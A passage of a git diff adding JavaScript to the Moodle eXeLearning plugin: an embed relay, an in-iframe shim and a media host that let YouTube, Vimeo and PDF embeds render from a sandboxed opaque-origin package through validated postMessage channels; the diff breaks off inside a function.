+                    player = makePlayer(result);
+                    entry.el.appendChild(player);
+                    entry.players[embed.id] = player;
+                    if (!result.sameorigin) {
+                        armSameOriginGuard(entry, embed.id, player);
+                    }
+                }
+                // Defence in depth against clickjacking: the overlay is clamped to the
+                // content iframe's box and clips with overflow:hidden, so a player can
+                // never cover host UI outside the iframe. Cap the player size to the
+                // overlay too (the content reports geometry, the parent owns rendering).
+                // Reuses the iframe rect read once at the top of this pass.
+                player.style.left = embed.x + 'px';
+                player.style.top = embed.y + 'px';
+                player.style.width = Math.min(embed.w, rect.width) + 'px';
+                player.style.height = Math.min(embed.h, rect.height) + 'px';
+            });
+            Object.keys(entry.players).forEach(function (id) {
+                if (!seen[id]) {
+                    entry.players[id].parentNode.removeChild(entry.players[id]);
+                    delete entry.players[id];
+                }
+            });
+        }
+
+        function onMessage(event) {
+            var data = event.data;
+            if (!data || data.type !== 'exe-embed' || data.action !== 'sync' || !Array.isArray(data.embeds)) {
+                return;
+            }
+            var iframe = frameForSource(event.source);
+            if (!iframe) {
+                return;
+            }
+            sync(overlayFor(iframe), data.embeds, iframe.src);
+        }
+
+        // Browser-only glue below (window listeners, reflow on scroll/resize, pinging
+        // the content iframes). Exercised by the Playwright/Firefox e2e
+        // (tests/e2e/embed.spec.cjs), not the happy-dom unit tests.
+        /* v8 ignore start */
+        function pingAll() {
+            var frames = document.getElementsByTagName('iframe');
+            for (var i = 0; i < frames.length; i++) {
+                if (frames[i].getAttribute('data-exe-embed-player')) {
+                    continue;
+                }
+                try {
+                    frames[i].contentWindow.postMessage({ type: 'exe-embed', action: 'request' }, '*');
+                } catch (e) {
+                    // Cross-origin player iframes reject this; harmless.
+                }
+            }
+        }
+
+        var scheduled = false;
+        function scheduleReflow() {
+            if (scheduled) {
+                return;
+            }
+            scheduled = true;
+            window.requestAnimationFrame(function () {
+                scheduled = false;
+                for (var i = 0; i < overlays.length; i++) {
+                    positionOverlay(overlays[i]);
+                }
+            });
+        }
+        /* v8 ignore stop */
+
+        // Remove every overlay element and its players from the DOM and empty the
+        // overlays list (dispose() reuses this to tear the relay down completely).
+        function clear() {
+            for (var i = 0; i < overlays.length; i++) {
+                var entry = overlays[i];
+                var ids = Object.keys(entry.players);
+                for (var j = 0; j < ids.length; j++) {
+                    var player = entry.players[ids[j]];
+                    if (player && player.parentNode) {
+                        player.parentNode.removeChild(player);
+                    }
+                }
+                entry.players = {};
+                if (entry.el && entry.el.parentNode) {
+                    entry.el.parentNode.removeChild(entry.el);
+                }
+            }
+            overlays.length = 0;
+        }
+
+        // Tear down the overlays AND remove the window listeners + drift timer that
+        // init() installed, so a relay whose host is gone (preview panel disposed,
+        // tab closed) leaves nothing running. Idempotent; init() can run again
+        // afterwards on a reused relay.
+        function dispose() {
+            clear();
+            /* v8 ignore start */
+            if (driftTimer !== null) {
+                window.clearInterval(driftTimer);
+                driftTimer = null;
+            }
+            window.removeEventListener('message', onMessage);
+            window.removeEventListener('resize', scheduleReflow);
+            window.removeEventListener('scroll', scheduleReflow, true);
+            window.removeEventListener('load', pingAll);
+            /* v8 ignore stop */
+            started = false;
+        }
+
+        return {
+            onMessage: onMessage,
+            sync: sync,
+            checkDrift: checkDrift,
+            dispose: dispose,
+            validate: function (raw, contentSrc) {
+                return validate(raw, contentSrc, { strict: strict, whitelist: whitelist });
+            },
+            /* v8 ignore start */
+            init: function () {
+                // Idempotent: a second init() on the same relay must not stack a
+                // second drift interval and duplicate window listeners.
+                if (started) {
+                    return this;
+                }
+                started = true;
+                window.addEventListener('message', onMessage);
+                window.addEventListener('resize', scheduleReflow);
+                window.addEventListener('scroll', scheduleReflow, true);
+                window.addEventListener('load', pingAll);
+                pingAll();
+                window.setTimeout(pingAll, 500);
+                // Host layout changes (sidebar toggles, panel slide-ins) move the
+                // content iframe with no scroll/resize event; keep the overlays
+                // pinned to it with a cheap low-frequency drift check.
+                driftTimer = window.setInterval(checkDrift, 300);
+                return this;
+            }
+            /* v8 ignore stop */
+        };
+    }
+
+    /**
+     * Bootstrap: create a relay from config and start listening.
+     *
+     * @param {Object} config {mode: 'open'|'strict', whitelist: string[]}
+     * @returns {Object}
+     */
+    /* v8 ignore next 3 */
+    function init(config) {
+        return createRelay(config).init();
+    }
+
+    var exp = {
+        buildWhitelist: buildWhitelist,
+        contentDir: contentDir,
+        packageId: packageId,
+        isSameOriginPackageFile: isSameOriginPackageFile,
+        isIpOrLocalHost: isIpOrLocalHost,
+        normalizeHost: normalizeHost,
+        isRelatedToLms: isRelatedToLms,
+        isCrossOriginHttps: isCrossOriginHttps,
+        reconstructProvider: reconstructProvider,
+        validate: validate,
+        makePlayer: makePlayer,
+        createRelay: createRelay,
+        init: init
+    };
+    // Test runner (Vitest/Node) consumes module.exports.
+    if (typeof module !== 'undefined' && module.exports) { module.exports = exp; }
+    // Browser bootstrap (view.php) consumes window.exeEmbedRelay.
+    if (typeof window !== 'undefined') { window.exeEmbedRelay = exp; }
+})();
diff --git a/js/exe_embed_shim.js b/js/exe_embed_shim.js
new file mode 100644
index 0000000..bfe024e
--- /dev/null
+++ b/js/exe_embed_shim.js
@@ -0,0 +1,369 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+/**
+ * In-iframe external-embed shim for the secure (opaque-origin) package mode.
+ *
+ * Baked into the package (libs/exe_embed_shim.js) and loaded from the <head> of every
+ * page, alongside the SCORM bridge. In secure mode the package runs in an opaque-origin
+ * sandbox, so the sandbox flag propagates to nested iframes and cross-origin players
+ * (YouTube, Vimeo) plus PDFs render blank. This shim replaces each cross-origin (https)
+ * or .pdf iframe with a same-size placeholder and reports its geometry to the parent,
+ * which validates it and overlays the real player inline (see js/exe_embed_relay.js). It
+ * self-activates ONLY in the opaque origin (so the same baked file stays dormant in
+ * legacy same-origin mode, where external players already render inline and the relay is
+ * not loaded).
+ *
+ * There is no host list here: the shim promotes any cross-origin https (or .pdf) iframe
+ * as a candidate and the parent relay is the authoritative gate (open vs strict mode,
+ * DEC-0061). postMessage targetOrigin is '*' because the opaque origin has no stable
+ * value; the parent authenticates messages by event.source instead.
+ *
+ * Exposed two ways from a single body: window.exeEmbedShim (browser bootstrap) and
+ * module.exports (Vitest). See research ADR DEC-0059.
+ *
+ * MIRROR of the canonical eXeLearning embedder source in eXe core
+ * (public/app/common/exe_embed_bridge/exe_embed_shim.js). Keep in sync with core;
+ * changes flow from core outward. Verified by core scripts/check-embed-sync.mjs.
+ */
+(function () {
+    'use strict';
+
+    /**
+     * Whether this document runs in an opaque origin (secure sandbox). In an opaque
+     * origin document.cookie throws and window.origin is "null".
+     *
+     * @returns {boolean}
+     */
+    function isOpaqueOrigin() {
+        try {
+            void document.cookie;
+            return window.origin === 'null';
+        } catch (e) {
+            return true;
+        }
+    }
+
+    /**
+     * Whether a URL path ends in .pdf (PDFs also fail under the opaque sandbox).
+     *
+     * @param {string} url
+     * @returns {boolean}
+     */
+    function isPdfUrl(url) {
+        try {
+            return /\.pdf$/i.test(new URL(url, window.location.href).pathname);
+        } catch (e) {
+            return false;
+        }
+    }
+
+    /**
+     * Whether a src resolves to an https URL on a host other than this document's own
+     * (served) host -- i.e. a cross-origin external embed. The opaque document is still
+     * served from the platform, so window.location.hostname is the platform host and the
+     * comparison is reliable. The parent relay re-validates authoritatively (DEC-0061);
+     * this is only a candidate filter so same-origin content iframes are left untouched.
+     *
+     * @param {string} src
+     * @returns {boolean}
+     */
+    function isCrossOriginHttps(src) {
+        try {
+            var u = new URL(src, window.location.href);
+            // Strip a single trailing dot so the LMS host in its FQDN-root form
+            // ('host.') counts as same-host and is not reported as a candidate.
+            var host = u.hostname.toLowerCase().replace(/\.$/, '');
+            var here = window.location.hostname.toLowerCase().replace(/\.$/, '');
+            return u.protocol === 'https:' && host !== here;
+        } catch (e) {
+            return false;
+        }
+    }
+
+    /**
+     * Whether an iframe src should be promoted to the parent: any cross-origin https
+     * embed or a .pdf (both render blank under the opaque sandbox). No host list -- the
+     * parent relay decides what actually renders (open vs strict mode).
+     *
+     * @param {string} src
+     * @returns {boolean}
+     */
+    function isPromotable(src) {
+        return isCrossOriginHttps(src) || isPdfUrl(src);
+    }
+
+    /**
+     * Recognise a known video provider from an embed src and extract its object id, so the
+     * shim can report {provider, objectId} instead of the author URL (DEC-0067 id-only
+     * channel). The parent rebuilds the canonical URL from a fixed template; this avoids
+     * passing the author's URL across the boundary for recognised providers. Returns null
+     * for unknown hosts or unexpected paths (the caller then falls back to URL mode). The
+     * id shape is intentionally permissive here; the parent re-checks it against a strict
+     * regex before templating it.
+     *
+     * @param {string} src
+     * @returns {?{provider: string, objectId: string}}
+     */
+    function extractProvider(src) {
+        var u;
+        try {
+            u = new URL(src, window.location.href);
+        } catch (e) {
+            return null;
+        }
+        if (u.protocol !== 'https:') {
+            return null;
+        }
+        var host = u.hostname.toLowerCase().replace(/\.$/, '');
+        var m;
+        if (host === 'youtu.be') {
+            m = u.pathname.match(/^\/([A-Za-z0-9_-]{6,})$/);
+            return m ? { provider: 'youtube', objectId: m[1] } : null;
+        }
+        if (host.indexOf('youtube') !== -1) {
+            m = u.pathname.match(/^\/embed\/([A-Za-z0-9_-]{6,})$/);
+            return m ? { provider: 'youtube', objectId: m[1] } : null;
+        }
+        if (host.indexOf('vimeo') !== -1) {
+            m = u.pathname.match(/^\/video\/([0-9]+)$/);
+            return m ? { provider: 'vimeo', objectId: m[1] } : null;
+        }
+        if (host.indexOf('dailymotion') !== -1) {
+            m = u.pathname.match(/^\/embed\/video\/([A-Za-z0-9]{5,})$/);
+            return m ? { provider: 'dailymotion', objectId: m[1] } : null;
+        }
+        if (host === 'mediateca.educa.madrid.org') {
+            m = u.pathname.match(/^\/video\/([A-Za-z0-9]{8,})(?:\/fs)?$/);
+            return m ? { provider: 'mediateca-madrid', objectId: m[1] } : null;
+        }
+        return null;
+    }
+
+    /**
+     * Render a width/height attribute value as a CSS length.
+     *
+     * @param {?string} value
+     * @param {string} fallback
+     * @returns {string}
+     */
+    function cssSize(value, fallback) {
+        if (!value) {
+            return fallback;
+        }
+        return /^[0-9]+$/.test(String(value)) ? value + 'px' : String(value);
+    }
+
+    /**
+     * Replace whitelisted/PDF iframes with placeholders that reserve their box and
+     * carry the embed id + url. Returns the created placeholder elements.
+     *
+     * @param {Document|Element} root A document or a container element to scan.
+     * @param {Object} counter {n:int} mutable id counter (kept across calls).
+     * @returns {Element[]}
+     */
+    function promote(root, counter) {
+        var created = [];
+        var maker = root.ownerDocument || root;
+        var frames = root.querySelectorAll('iframe[src]');
+        for (var i = 0; i < frames.length; i++) {
+            var frame = frames[i];
+            if (frame.getAttribute('data-exe-embed-id')) {
+                continue;
+            }
+            var src = frame.getAttribute('src');
+            if (!isPromotable(src)) {
+                continue;
+            }
+            var rect = frame.getBoundingClientRect ? frame.getBoundingClientRect() : { width: 0, height: 0 };
+            var placeholder = maker.createElement('div');
+            counter.n += 1;
+            placeholder.setAttribute('data-exe-embed-id', 'exe-embed-' + counter.n);
+            // Report an ABSOLUTE url: the shim runs inside the content, so resolve the
+            // (possibly relative) src against the content location. The parent relay
+            // cannot — it would resolve a relative url against the host page instead.
+            var absoluteUrl = src;
+            try {
+                absoluteUrl = new URL(src, window.location.href).href;
+            } catch (e) {
+                absoluteUrl = src;
+            }
+            placeholder.setAttribute('data-exe-embed-url', absoluteUrl);
+            // For recognised providers also stamp {provider, objectId} so the parent can
+            // rebuild the canonical URL from a fixed template (DEC-0067 id-only channel)
+            // instead of trusting the author URL. Unknown hosts keep URL-only mode.
+            var provider = extractProvider(absoluteUrl);
+            if (provider) {
+                placeholder.setAttribute('data-exe-embed-provider', provider.provider);
+                placeholder.setAttribute('data-exe-embed-object-id', provider.objectId);
+            }
+            placeholder.className = frame.className;
+            placeholder.style.display = 'block';
+            placeholder.style.maxWidth = '100%';
+            placeholder.style.width = cssSize(frame.getAttribute('width'), (rect.width || 0) + 'px');
+            placeholder.style.height = cssSize(frame.getAttribute('height'), (rect.height || 0) + 'px');
+            placeholder.style.background = '#000';
+            frame.parentNode.replaceChild(placeholder, frame);
+            created.push(placeholder);
+        }
+        return created;
+    }
+
+    /**
+     * Collect the geometry of every placeholder in the document.
+     *
+     * @param {Document} doc
+     * @returns {Object[]}
+     */
+    function collect(doc) {
+        var embeds = [];
+        var nodes = doc.querySelectorAll('[data-exe-embed-id]');
+        for (var i = 0; i < nodes.length; i++) {
+            var node = nodes[i];
+            var rect = node.getBoundingClientRect();
+            var rec = {
+                id: node.getAttribute('data-exe-embed-id'),
+                url: node.getAttribute('data-exe-embed-url'),
+                x: rect.left,
+                y: rect.top,
+                w: rect.width,
+                h: rect.height
+            };
+            var provider = node.getAttribute('data-exe-embed-provider');
+            var objectId = node.getAttribute('data-exe-embed-object-id');
+            if (provider && objectId) {
+                rec.provider = provider;
+                rec.objectId = objectId;
+            }
+            embeds.push(rec);
+        }
+        return embeds;
+    }
+
+    /**
+     * Bootstrap inside the package iframe (no-op outside the secure opaque origin).
+     * Browser-only glue (requires a framed, opaque-origin window); exercised by the
+     * Playwright/Firefox e2e (tests/e2e/embed.spec.cjs), not the happy-dom unit tests.
+     */
+    /* v8 ignore start */
+    function init() {
+        if (window.parent === window || !isOpaqueOrigin()) {
+            return;
+        }
+        var counter = { n: 0 };
+        var scheduled = false;
+        var lastReported = '';
+
+        // force=true always posts (initial run, load, and parent 'request' pings --
+        // the parent may have just started listening or lost its state); observer
+        // -driven reports skip when the geometry did not actually change, so an
+        // attribute-noisy page (carousel animations, aria flips) cannot spam the
+        // parent with identical syncs.
+        function report(force) {
+            var embeds = collect(document);
+            var serialized = JSON.stringify(embeds);
+            if (!force && serialized === lastReported) {
+                return;
+            }
+            lastReported = serialized;
+            window.parent.postMessage({ type: 'exe-embed', action: 'sync', embeds: embeds }, '*');
+        }
+        function schedule() {
+            if (scheduled) {
+                return;
+            }
+            scheduled = true;
+            window.requestAnimationFrame(function () {
+                scheduled = false;
+                report(false);
+            });
+        }
+        function run() {
+            promote(document, counter);
+            report(true);
+        }
+
+        run();
+        if (window.MutationObserver) {
+            // attributes too, not just childList: layout-affecting UI (the exported
+            // page's nav toggle, accordions) usually flips a class/style on an
+            // existing node, which reflows the placeholders without adding or
+            // removing any element. The filter keeps the observer to the
+            // reflow-causing attributes.
+            new MutationObserver(function () {
+                promote(document, counter);
+                schedule();
+            }).observe(document.documentElement, {
+                childList: true,
+                subtree: true,
+                attributes: true,
+                attributeFilter: ['class', 'style', 'hidden', 'open'],
+            });
+        }
+        window.addEventListener('scroll', schedule, true);
+        window.addEventListener('resize', schedule);
+        // A class-toggled layout change usually ANIMATES (CSS transition on the nav
+        // drawer): the mutation fires at the start, so re-measure again when the
+        // transition/animation lands to report the settled geometry.
+        window.addEventListener('transitionend', schedule, true);
+        window.addEventListener('animationend', schedule, true);
+        if (window.ResizeObserver) {
+            // Catches content-box changes that fire no window resize (the drawer
+            // pushing the content column, images loading late and growing the page).
+            var resizeObserver = new ResizeObserver(schedule);
+            resizeObserver.observe(document.documentElement);
+            if (document.body) {
+                resizeObserver.observe(document.body);
+            }
+        }
+        window.addEventListener('load', function () {
+            report(true);
+        });
+        window.addEventListener('message', function (event) {
+            if (event.source !== window.parent) {
+                return;
+            }
+            var data = event.data;
+            if (data && data.type === 'exe-embed' && data.action === 'request') {
+                run();
+            }
+        });
+    }
+    /* v8 ignore stop */
+
+    var exp = {
+        isOpaqueOrigin: isOpaqueOrigin,
+        isPdfUrl: isPdfUrl,
+        isCrossOriginHttps: isCrossOriginHttps,
+        isPromotable: isPromotable,
+        extractProvider: extractProvider,
+        promote: promote,
+        collect: collect,
+        init: init
+    };
+    // Test runner (Vitest/Node) consumes module.exports.
+    if (typeof module !== 'undefined' && module.exports) { module.exports = exp; }
+    // Browser bootstrap consumes window.exeEmbedShim; auto-run inside the iframe.
+    if (typeof window !== 'undefined') {
+        window.exeEmbedShim = exp;
+        if (typeof document !== 'undefined') {
+            if (document.readyState === 'loading') {
+                document.addEventListener('DOMContentLoaded', init);
+            } else {
+                init();
+            }
+        }
+    }
+})();
diff --git a/js/exe_media_host.js b/js/exe_media_host.js
new file mode 100644
index 0000000..b80265f
--- /dev/null
+++ b/js/exe_media_host.js
@@ -0,0 +1,533 @@
+/**
+ * exe-media-host — reference PARENT-side relay for the eXeLearning external-media bridge.
+ *
+ * Host plugins (Moodle, WordPress, Procomún, …) include this one file on the trusted page
+ * that embeds an eXeLearning package inside an opaque-origin sandboxed iframe. It lets the
+ * package's YouTube/Vimeo videos play (which they cannot do inside the opaque frame) by:
+ *
+ *   - completing the capability handshake announced by the child runtime (window identity
+ *     + per-view nonce + a transferred MessageChannel port),
+ *   - opening an accessible <dialog> with the real provider player on the trusted side, and
+ *   - relaying a tiny, validated set of media commands/events over the private port.
+ *
+ * Security: the relay NEVER trusts `event.origin` (it is the string "null"). The only
+ * window-level message accepted is the child's `welcome`-triggering `hello`, gated by
+ * `event.source === iframe.contentWindow`. Steady-state media traffic flows only over the
+ * private port. The child sends just `{provider, videoId}`; the relay reconstructs the
+ * canonical URL from a fixed per-provider template (never a child-supplied URL).
+ *
+ * Classic browser script (no ES module syntax); depends on the shared `exeMediaPolicy`.
+ *
+ * mod_exelearning VARIANT (DEC-0067): vendored from eXeLearning's exe-media-host.js, but the
+ * provider adapters drive the player by RAW postMessage (YouTube enablejsapi=1, Vimeo api=1)
+ * instead of the YouTube IFrame Player API / Vimeo Player SDK, so the trusted Moodle page
+ * never loads third-party player script (erseco). The handshake, accessible modal and the
+ * command/event relay are otherwise unchanged. The child runtime (exe_media_bridge.js +
+ * exe_media_policy.js, baked into the package by eXeLearning) is unmodified; the interactive
+ * video iDevice already speaks this contract (window.exeMediaBridge.openMedia → controller).
+ * Canonical upstream: exelearning/public/app/common/exe_media_bridge/.
+ *
+ * @license AGPL-3.0
+ */
+(function (root) {
+    'use strict';
+
+    var policy = root.exeMediaPolicy;
+    var TYPE = policy.TYPE;
+    var VERSION = policy.VERSION;
+
+    function tr(key) {
+        return typeof root._ === 'function' ? root._(key) : key;
+    }
+
+    function isThenable(v) {
+        return v && typeof v.then === 'function';
+    }
+
+    function genNonce(opts) {
+        if (opts && typeof opts.genId === 'function') return opts.genId();
+        if (root.crypto && typeof root.crypto.randomUUID === 'function') return root.crypto.randomUUID();
+        return 'n-' + Math.random().toString(36).slice(2);
+    }
+
+    function makeChannel(opts) {
+        if (opts && typeof opts.channelFactory === 'function') return opts.channelFactory();
+        return new MessageChannel();
+    }
+
+    function getInterval(opts) {
+        return {
+            set: (opts && opts.setInterval) || (root.setInterval ? root.setInterval.bind(root) : function () {}),
+            clear: (opts && opts.clearInterval) || (root.clearInterval ? root.clearInterval.bind(root) : function () {}),
+        };
+    }
+
+    // ---- Raw-postMessage provider adapters (NO YouTube IFrame API / Vimeo SDK) ----------
+    // mod_exelearning controls the promoted player by posting the providers' documented
+    // postMessage commands straight to the player iframe and parsing its event messages, so
+    // the trusted Moodle page never loads third-party player SDK script (erseco, DEC-0067).
+    // Both providers use JSON-STRING messages. The host polls getCurrentTime()/getDuration()
+    // every 250ms to emit timeupdate; these adapters keep those values fresh from the
+    // player's pushed infoDelivery (YouTube) / timeupdate (Vimeo) events. Adapters are still
+    // injectable (opts.youtubeFactory / opts.vimeoFactory) for tests.
+
+    function num(v) {
+        return typeof v === 'number' && isFinite(v) ? v : undefined;
+    }
+
+    function parentOrigin() {
+        try {
+            return (root.location && root.location.origin) || '';
+        } catch (e) {
+            return '';
+        }
+    }
+
+    // Pure command builders (exposed for unit tests). Closed action set; null otherwise.
+    function ytCommand(action, value) {
+        switch (action) {
+            case 'play': return { event: 'command', func: 'playVideo', args: [] };
+            case 'pause': return { event: 'command', func: 'pauseVideo', args: [] };
+            case 'seek': return { event: 'command', func: 'seekTo', args: [Number(value) || 0, true] };
+            case 'listen': return { event: 'listening' };
+            default: return null;
+        }
+    }
+    function vimeoCommand(action, value) {
+        switch (action) {
+            case 'play': return { method: 'play' };
+            case 'pause': return { method: 'pause' };
+            case 'seek': return { method: 'setCurrentTime', value: Number(value) || 0 };
+            default: return null;
+        }
+    }
+
+    // Pure inbound-event parsers (exposed for unit tests). Both providers post JSON strings.
+    function parseRaw(raw) {
+        if (typeof raw === 'string') {
+            try { return JSON.parse(raw); } catch (e) { return null; }
+        }
+        return raw && typeof raw === 'object' ? raw : null;
+    }
+    function parseYtEvent(raw) {
+        var d = parseRaw(raw);
+        if (!d || typeof d.event !== 'string') return null;
+        if (d.event === 'onReady') return { kind: 'ready' };
+        if (d.event === 'onError') return { kind: 'error', code: String(d.info != null ? d.info : '') };
+        if (d.event === 'infoDelivery' && d.info && typeof d.info === 'object') {
+            return { kind: 'info', currentTime: num(d.info.currentTime), duration: num(d.info.duration), playerState: num(d.info.playerState) };
+        }
+        if (d.event === 'onStateChange') {
+            return { kind: 'state', playerState: num(typeof d.info === 'object' && d.info ? d.info.playerState : d.info) };
+        }
+        return null;
+    }
+    function parseVimeoEvent(raw) {
+        var d = parseRaw(raw);
+        if (!d || typeof d.event !== 'string') return null;
+        if (d.event === 'ready') return { kind: 'ready' };
+        if (d.event === 'timeupdate' && d.data) return { kind: 'timeupdate', currentTime: num(d.data.seconds), duration: num(d.data.duration) };
+        if (d.event === 'play') return { kind: 'play' };
+        if (d.event === 'pause') return { kind: 'pause' };
+        if (d.event === 'ended' || d.event === 'finish') return { kind: 'ended' };
+        if (d.event === 'error') return { kind: 'error', code: 'vimeo_error' };
+        return null;
+    }
+
+    function youtubeRawAdapter(container, videoId, cb) {
+        var doc = container.ownerDocument || root.document;
+        var origin = parentOrigin();
+        var target = 'https://www.youtube-nocookie.com';
+        var src = target + '/embed/' + videoId + '?enablejsapi=1&rel=0&modestbranding=1' +
+            (origin ? '&origin=' + encodeURIComponent(origin) : '') +
+            (cb.start ? '&start=' + Math.floor(cb.start) : '') +
+            (cb.autoplay ? '&autoplay=1' : '');
+        var frame = doc.createElement('iframe');
+        frame.setAttribute('src', src);
+        frame.setAttribute('allow', 'autoplay; encrypted-media; fullscreen; picture-in-picture');
+        frame.setAttribute('allowfullscreen', '');
+        frame.setAttribute('referrerpolicy', 'strict-origin-when-cross-origin');
+        frame.style.cssText = 'border:0;width:100%;height:100%;';
+        var cache = { currentTime: 0, duration: 0 };
+
+        function post(msg) {
+            if (!msg) return;
+            try { frame.contentWindow.postMessage(JSON.stringify(msg), target); } catch (e) { /* not ready */ }
+        }
+        function onMessage(e) {
+            if (e.source !== frame.contentWindow) return;
+            var ev = parseYtEvent(e.data);
+            if (!ev) return;
+            if (ev.kind === 'ready') {
+                if (cb.onReady) cb.onReady(cache.duration || undefined);
+            } else if (ev.kind === 'info') {
+                if (typeof ev.currentTime === 'number') cache.currentTime = ev.currentTime;
+                if (typeof ev.duration === 'number') cache.duration = ev.duration;
+                signalState(ev.playerState);
+            } else if (ev.kind === 'state') {
+                signalState(ev.playerState);
+            } else if (ev.kind === 'error' && cb.onError) {
+                cb.onError(ev.code);
+            }
+        }
+        function signalState(s) {
+            if (s === 1 && cb.onPlay) cb.onPlay();
+            else if (s === 2 && cb.onPause) cb.onPause();
+            else if (s === 0 && cb.onEnded) cb.onEnded();
+        }
+        if (root.addEventListener) root.addEventListener('message', onMessage);
+        frame.addEventListener('load', function () { post(ytCommand('listen')); });
+        container.appendChild(frame);
+
+        return {
+            play: function () { post(ytCommand('play')); },
+            pause: function () { post(ytCommand('pause')); },
+            seek: function (t) { post(ytCommand('seek', t)); },
+            getCurrentTime: function () { return cache.currentTime; },
+            getDuration: function () { return cache.duration; },
+            destroy: function () {
+                if (root.removeEventListener) root.removeEventListener('message', onMessage);
+                if (frame.parentNode) frame.parentNode.removeChild(frame);
+            },
+        };
+    }
+
+    function vimeoRawAdapter(container, videoId, cb) {
+        var doc = container.ownerDocument || root.document;
+        var target = 'https://player.vimeo.com';
+        var pid = 'exe-vimeo-' + videoId;
+        var src = target + '/video/' + videoId + '?api=1&player_id=' + encodeURIComponent(pid) +
+            (cb.autoplay ? '&autoplay=1' : '');
+        var frame = doc.createElement('iframe');
+        frame.setAttribute('src', src);
+        frame.setAttribute('id', pid);
+        frame.setAttribute('allow', 'autoplay; fullscreen; picture-in-picture');
+        frame.setAttribute('allowfullscreen', '');
+        frame.setAttribute('referrerpolicy', 'strict-origin-when-cross-origin');
+        frame.style.cssText = 'border:0;width:100%;height:100%;';
+        var cache = { currentTime: 0, duration: 0 };
+
+        function post(msg) {
+            if (!msg) return;
+            try { frame.contentWindow.postMessage(JSON.stringify(msg), target); } catch (e) { /* not ready */ }
+        }
+        function subscribe() {
+            ['timeupdate', 'play', 'pause', 'ended', 'error'].forEach(function (name) {
+                post({ method: 'addEventListener', value: name });
+            });
+            if (cb.start) post(vimeoCommand('seek', cb.start));
+        }
+        function onMessage(e) {
+            if (e.source !== frame.contentWindow) return;
+            var ev = parseVimeoEvent(e.data);
+            if (!ev) return;
+            if (ev.kind === 'ready') {
+                subscribe();
+                if (cb.onReady) cb.onReady(cache.duration || undefined);
+            } else if (ev.kind === 'timeupdate') {
+                if (typeof ev.currentTime === 'number') cache.currentTime = ev.currentTime;
+                if (typeof ev.duration === 'number') cache.duration = ev.duration;
+            } else if (ev.kind === 'play' && cb.onPlay) {
+                cb.onPlay();
+            } else if (ev.kind === 'pause' && cb.onPause) {
+                cb.onPause();
+            } else if (ev.kind === 'ended' && cb.onEnded) {
+                cb.onEnded();
+            } else if (ev.kind === 'error' && cb.onError) {
+                cb.onError(ev.code);
+            }
+        }
+        if (root.addEventListener) root.addEventListener('message', onMessage);
+        container.appendChild(frame);
+
+        return {
+            play: function () { post(vimeoCommand('play')); },
+            pause: function () { post(vimeoCommand('pause')); },
+            seek: function (t) { post(vimeoCommand('seek', t)); },
+            getCurrentTime: function () { return cache.currentTime; },
+            getDuration: function () { return cache.duration; },
+            destroy: function () {
+                if (root.removeEventListener) root.removeEventListener('message', onMessage);
+                if (frame.parentNode) frame.parentNode.removeChild(frame);
+            },
+        };
+    }
+
+    // ---- Accessible modal -------------------------------------------------------------
+
+    function buildModal(session) {
+        var opts = session.opts || {};
+        var doc = opts.document || root.document;
+        var dialog = doc.createElement('dialog');
+        dialog.className = 'exe-media-modal';
+        dialog.setAttribute('aria-label', tr('Video player'));
+        try {
+            dialog.setAttribute('closedby', 'any'); // light-dismiss where supported
+        } catch (e) {
+            /* older engines */
+        }
+
+        var closeBtn = doc.createElement('button');
+        closeBtn.setAttribute('type', 'button');
+        closeBtn.className = 'exe-media-modal__close';
+        closeBtn.setAttribute('aria-label', tr('Close video'));
+        closeBtn.textContent = tr('Close');
+        closeBtn.addEventListener('click', function () {
+            requestClose(session);
+        });
+
+        var body = doc.createElement('div');
+        body.className = 'exe-media-modal__body';
+
+        dialog.appendChild(closeBtn);
+        dialog.appendChild(body);
+
+        // Safari light-dismiss fallback: a click whose target is the dialog itself is the backdrop.
+        dialog.addEventListener('click', function (e) {
+            if (e.target === dialog) requestClose(session);
+        });
+        // Esc / platform close request.
+        dialog.addEventListener('close', function () {
+            if (session.hiding) {
+                session.hiding = false;
+                return;
+            }
+            requestClose(session);
+        });
+
+        (doc.body || doc.documentElement).appendChild(dialog);
+        if (typeof dialog.showModal === 'function') dialog.showModal();
+
+        session.dialog = dialog;
+        return body;
+    }
+
+    function showModal(session) {
+        if (session.dialog && typeof session.dialog.showModal === 'function') session.dialog.showModal();
+    }
+
+    function hideModal(session) {
+        if (session.dialog && typeof session.dialog.close === 'function') {
+            session.hiding = true;
+            session.dialog.close();
+        }
+    }
+
+    function requestClose(session) {
+        if (session.closed) return;
+        session.closed = true;
+        sendEvent(session, { action: 'closed' });
+        destroyAdapter(session);
+        if (session.dialog) {
+            if (typeof session.dialog.close === 'function') session.dialog.close();
+            if (typeof session.dialog.remove === 'function') session.dialog.remove();
+        }
+    }
+
+    function destroyAdapter(session) {
+        if (session.pollTimer != null) {
+            session.interval.clear(session.pollTimer);
+            session.pollTimer = null;
+        }
+        if (session.adapter && session.adapter.destroy) session.adapter.destroy();
+        session.adapter = null;
+    }
+
+    // ---- Media event relay ------------------------------------------------------------
+
+    function sendEvent(session, ev) {
+        ev.type = TYPE;
+        ev.v = VERSION;
+        if (session.port1) session.port1.postMessage(ev);
+    }
+
+    function emitTimeupdate(session, ct, dur) {
+        if (typeof ct === 'number' && isFinite(ct) && typeof dur === 'number' && isFinite(dur)) {
+            sendEvent(session, { action: 'timeupdate', currentTime: ct, duration: dur });
+        }
+    }
+
+    function startPolling(session) {
+        if (session.pollTimer != null) return;
+        session.pollTimer = session.interval.set(function () {
+            if (!session.adapter) return;
+            var ct = session.adapter.getCurrentTime();
+            var dur = session.adapter.getDuration();
+            if (isThenable(ct) || isThenable(dur)) {
+                Promise.all([Promise.resolve(ct), Promise.resolve(dur)]).then(function (r) {
+                    emitTimeupdate(session, r[0], r[1]);
+                });
+            } else {
+                emitTimeupdate(session, ct, dur);
+            }
+        }, 250);
+    }
+
+    function openMedia(session, provider, videoId, openOpts) {
+        var opts = session.opts || {};
+        // Single active media per session: discard any previous player/poll-timer/<dialog>
+        // before opening a new one, so repeated 'open' commands cannot stack modals or orphan
+        // provider players (host-page resource exhaustion). Remove the old dialog directly
